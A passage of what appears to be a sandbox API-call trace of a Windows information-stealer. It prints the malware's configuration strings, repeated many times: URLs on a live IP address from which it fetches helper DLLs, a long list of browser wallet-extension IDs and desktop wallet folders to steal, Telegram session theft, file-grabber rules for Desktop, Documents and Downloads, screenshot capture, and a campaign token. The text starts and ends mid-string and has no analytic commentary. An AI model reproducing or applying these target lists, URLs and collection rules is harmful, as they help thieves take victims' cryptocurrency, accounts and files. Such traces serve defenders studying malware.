Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.276] StrStrW (lpFirst="BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.276] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.276] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6fe628 [0266.277] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension 